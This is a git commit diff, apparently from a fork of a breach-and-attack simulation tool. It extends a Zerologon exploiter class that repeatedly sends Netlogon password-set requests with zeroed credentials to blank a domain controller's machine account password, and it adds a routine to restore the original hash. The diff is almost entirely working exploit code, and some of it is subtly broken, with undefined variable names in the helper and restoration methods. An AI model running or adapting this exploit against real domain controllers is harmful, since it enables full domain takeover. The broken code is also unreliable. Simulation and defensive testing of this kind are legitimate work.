forked from p15670423/monkey
Add restore_password()
This commit is contained in:
parent
9468de471d
commit
44e15bd2a0
|
@ -7,43 +7,65 @@ import logging
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
|
|
||||||
|
from impacket.dcerpc.v5 import nrpc, epm
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.dcerpc.v5 import transport
|
||||||
|
from impacket import crypto
|
||||||
|
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||||
|
import impacket
|
||||||
|
|
||||||
|
from binascii import hexlify, unhexlify
|
||||||
|
from Cryptodome.Cipher import DES, AES, ARC4
|
||||||
|
|
||||||
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
|
opnum = 6
|
||||||
|
structure = (
|
||||||
|
('PrimaryName', nrpc.PLOGONSRV_HANDLE),
|
||||||
|
('AccountName', nrpc.WSTR),
|
||||||
|
('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
||||||
|
('ComputerName', nrpc.WSTR),
|
||||||
|
('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
|
('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
|
('ErrorCode', nrpc.NTSTATUS),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
class ZerologonExploiter(HostExploiter):
|
class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
|
MAX_ATTEMPTS = 2000
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
self.vulnerable_port = None
|
self.vulnerable_port = None
|
||||||
|
self.zerologon_finger = ZerologonFinger()
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
MAX_ATTEMPTS = 2000
|
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
||||||
zerologon_finger = ZerologonFinger()
|
|
||||||
|
|
||||||
DC_IP = self.host.ip
|
if self.is_exploitable():
|
||||||
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
|
||||||
|
|
||||||
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
|
|
||||||
LOG.info("Target vulnerable, changing account password to empty string")
|
|
||||||
|
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
rpc_con = self.connect_to_dc(DC_IP)
|
||||||
protocol='ncacn_ip_tcp')
|
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
|
||||||
rpc_con.connect()
|
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
result = None
|
result = None
|
||||||
for _ in range(0, MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||||
except nrpc.DCERPCSessionError as ex:
|
except nrpc.DCERPCSessionError as ex:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
|
@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
LOG.info("Non-zero return code, something went wrong.")
|
LOG.info("Non-zero return code, something went wrong.")
|
||||||
|
|
||||||
# how do i execute monkey on the exploited machine?
|
## how do i execute monkey on the exploited machine?
|
||||||
# restore password
|
## restore password
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
|
||||||
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
|
def get_dc_details(self):
|
||||||
|
dc_ip = self.host.ip
|
||||||
|
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
|
||||||
|
dc_handle = '\\\\' + DC_NAME
|
||||||
|
return dc_ip, dc_name, dc_handle
|
||||||
|
|
||||||
|
def is_exploitable(self):
|
||||||
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
|
def connect_to_dc(self, DC_IP):
|
||||||
|
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||||
|
protocol='ncacn_ip_tcp')
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
request['PrimaryName'] = DC_HANDLE + '\x00'
|
request['PrimaryName'] = DC_HANDLE + '\x00'
|
||||||
request['AccountName'] = TARGET_COMPUTER + '$\x00'
|
request['AccountName'] = DC_NAME + '$\x00'
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
authenticator['Credential'] = b'\x00' * 8
|
authenticator['Credential'] = b'\x00' * 8
|
||||||
authenticator['Timestamp'] = 0
|
authenticator['Timestamp'] = 0
|
||||||
request['Authenticator'] = authenticator
|
request['Authenticator'] = authenticator
|
||||||
request['ComputerName'] = TARGET_COMPUTER + '\x00'
|
request['ComputerName'] = DC_NAME + '\x00'
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self):
|
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
# get nthash using secretsdump and then restore password
|
## get nthash using secretsdump and then restore password
|
||||||
pass
|
|
||||||
|
# Keep authenticating until successful.
|
||||||
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||||
|
if rpc_con is not None:
|
||||||
|
break
|
||||||
|
|
||||||
|
if rpc_con:
|
||||||
|
LOG.info("DC machine account password should be restored to its original value.")
|
||||||
|
else:
|
||||||
|
LOG.info("Failed to restore password.")
|
||||||
|
|
||||||
|
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
rpc_con = self.connect_to_dc(DC_IP)
|
||||||
|
|
||||||
|
plaintext = b'\x00'*8
|
||||||
|
ciphertext = b'\x00'*8
|
||||||
|
flags = 0x212fffff
|
||||||
|
|
||||||
|
# Send challenge and authentication request.
|
||||||
|
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
|
||||||
|
DC_NAME + '\x00', plaintext)
|
||||||
|
server_challenge = server_challenge_response['ServerChallenge']
|
||||||
|
|
||||||
|
try:
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
|
||||||
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
DC_NAME + '\x00', ciphertext, flags
|
||||||
|
)
|
||||||
|
|
||||||
|
# It worked!
|
||||||
|
assert server_auth['ErrorCode'] == 0
|
||||||
|
server_auth.dump()
|
||||||
|
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||||
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||||
|
|
||||||
|
try:
|
||||||
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
|
authenticator['Credential'] = ciphertext
|
||||||
|
authenticator['Timestamp'] = b"\x00" * 4
|
||||||
|
|
||||||
|
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||||
|
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||||
|
|
||||||
|
request = NetrServerPasswordSet()
|
||||||
|
request['PrimaryName'] = NULL
|
||||||
|
request['AccountName'] = DC_NAME + '$\x00'
|
||||||
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
|
request['ComputerName'] = DC_NAME + '\x00'
|
||||||
|
request["Authenticator"] = authenticator
|
||||||
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
|
||||||
|
request["UasNewPassword"] = pwd_data
|
||||||
|
resp = rpc_con.request(request)
|
||||||
|
resp.dump()
|
||||||
|
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.info(f"Unexpected error: {ex}")
|
||||||
|
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
except nrpc.DCERPCSessionError as ex:
|
||||||
|
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
||||||
|
if ex.get_error_code() == 0xc0000022:
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
||||||
|
|
||||||
|
except BaseException as ex:
|
||||||
|
LOG.info(f"Unexpected error: {ex}")
|
||||||
|
|
Loading…
Reference in New Issue